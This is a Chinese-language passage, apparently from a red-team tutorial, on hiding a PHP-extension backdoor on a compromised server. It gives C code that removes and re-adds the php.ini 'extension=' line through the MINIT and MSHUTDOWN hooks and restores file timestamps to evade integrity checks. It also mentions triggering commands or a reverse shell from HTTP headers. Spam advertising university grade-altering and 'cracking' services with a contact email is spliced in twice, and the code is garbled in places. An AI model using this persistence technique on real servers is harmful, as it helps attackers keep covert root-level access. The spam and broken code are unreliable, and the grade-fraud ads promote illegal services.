我們主要關注4個hooks:MINIT&MSHUTDOWN,以及RINIT和RSHUTDOWN。當解釋器啟動和停止時,M 以root身份執行(通常)。R 在作為伺服器用戶執行。成績修改 台灣大學成績修改 香港大學成績修改 美國大學成績修改 破解支援服務聯絡電郵pvip366@outlook.com(7*24小時在線服務)
3.我們可以從請求中讀取HTTP頭並觸發任何操作(例如,執行命令或啟動反向shell)。為了保持對受感染伺服器的訪問,PHP擴展是一個非常好的選擇。我們可以使用合法的HTTP請求與這種後門進行交互(如推薦文章中所示),因為防火牆和網路規則無法檢測到我們。但是想要加載我們的擴展,我們就需要修改php.ini檔重新加載配置。如果未恢復php.ini,那麼其大小,哈希和時間戳將不同,操作將公開,藍隊獲勝,我們輸了。當然,php.ini修改應該會被檔完整性檢查器立即檢測到,但實際上SOCs往往忽略這種警報
0×01 php.ini未被修改
我們知道當我們修改了php.ini時會生成一個警報。可是如果當有人SSH連接到伺服器,對php.ini進行cat操作,我什麼也看不見。進行ls操作,時間戳也是好的。重新啟動伺服器只是為了再次檢查沒有發生任何奇怪的事情。我們的後門還活著。這是為什麼?
當加載我們的PHP擴展時,我們不需要在php.ini檔中保留“extesion = path/to/our.so”這一行。我們可以程式化地將其恢復到原始狀態。利用MINIT hook,我們可以刪除添加到php.ini的行,所以當加載擴展時,這個hook將以root(通常)觸發,我們可以編輯php.ini檔而不會出現問題。同樣,我們可以使用MSHUTDOWN插入一段代碼,用於再次將行添加到php.ini中,因此當伺服器重新啟動時,將再次添加“extension = ...”行。當加載擴展時,將執行MINIT並關閉cicle。使用這種方法,php.ini檔在大部分時間內都不會顯示任何奇怪的內容。泛型函數可以表示如下:
/ This code sucksint modifyExtension(int action) {
char source = NULL;
char needle = NULL;
FILE fp;
size_t newSize;
fp = fopen(PHPINI, "a+");
if (fp != NULL) {
if (action == 1) {
if (fseek(fp, 0L, SEEK_END) == 0) {
long bufsize = ftell(fp); // FileSize
if (bufsize == -1) {
return -1;
}
source = malloc(sizeof(char ) (bufsize + 1)); // Alloc memory to read php.ini
if (fseek(fp, 0L, SEEK_SET) != 0) {
return -1;
free(source);
}
newSize = fread(source, sizeof(char), bufsize, fp);
if (ferror(fp) != 0) {
return -1;
free(source);
}
else {
source[newSize++] = '\0';
needle = strstr(source, LOCATION);
if (needle != 0) {
FILE tmp = fopen("/tmp/.tmpini", "w");
fwrite(source, (needle - source - 11), 1, tmp); //11 = len("\nextension=kk.so")
fclose(tmp);
rename("/tmp/.tmpini", PHPINI);
}
}
free(source);
}
fclose(fp);
}
if (action == 0) {
fwrite("\nextension=", 11, 1, fp);
fwrite(LOCATION, strlen(LOCATION), 1, fp);
fclose(fp);
fprintf(stderr, "[+] Extension added to PHP.INI\n");
}
}
else {
return -1;
}
return 1;
}
這種策略的對應部分是,如果伺服器以意外方式被kill,則不會執行`MSHUTDOWN hook`。另一方面,時間戳將被修改,成績修改 台灣大學成績修改 香港大學成績修改 美國大學成績修改 破解支援服務聯絡電郵pvip366@outlook.com(7*24小時在線服務)
#define PHPINI "/u/know/that/php.ini"
...
struct stat st;
stat(PHPINI, &st);
...// Do changes
new_time.actime = st.st_atime;
new_time.modtime = st.st_mtime;
utime(PHPINI, &new_time);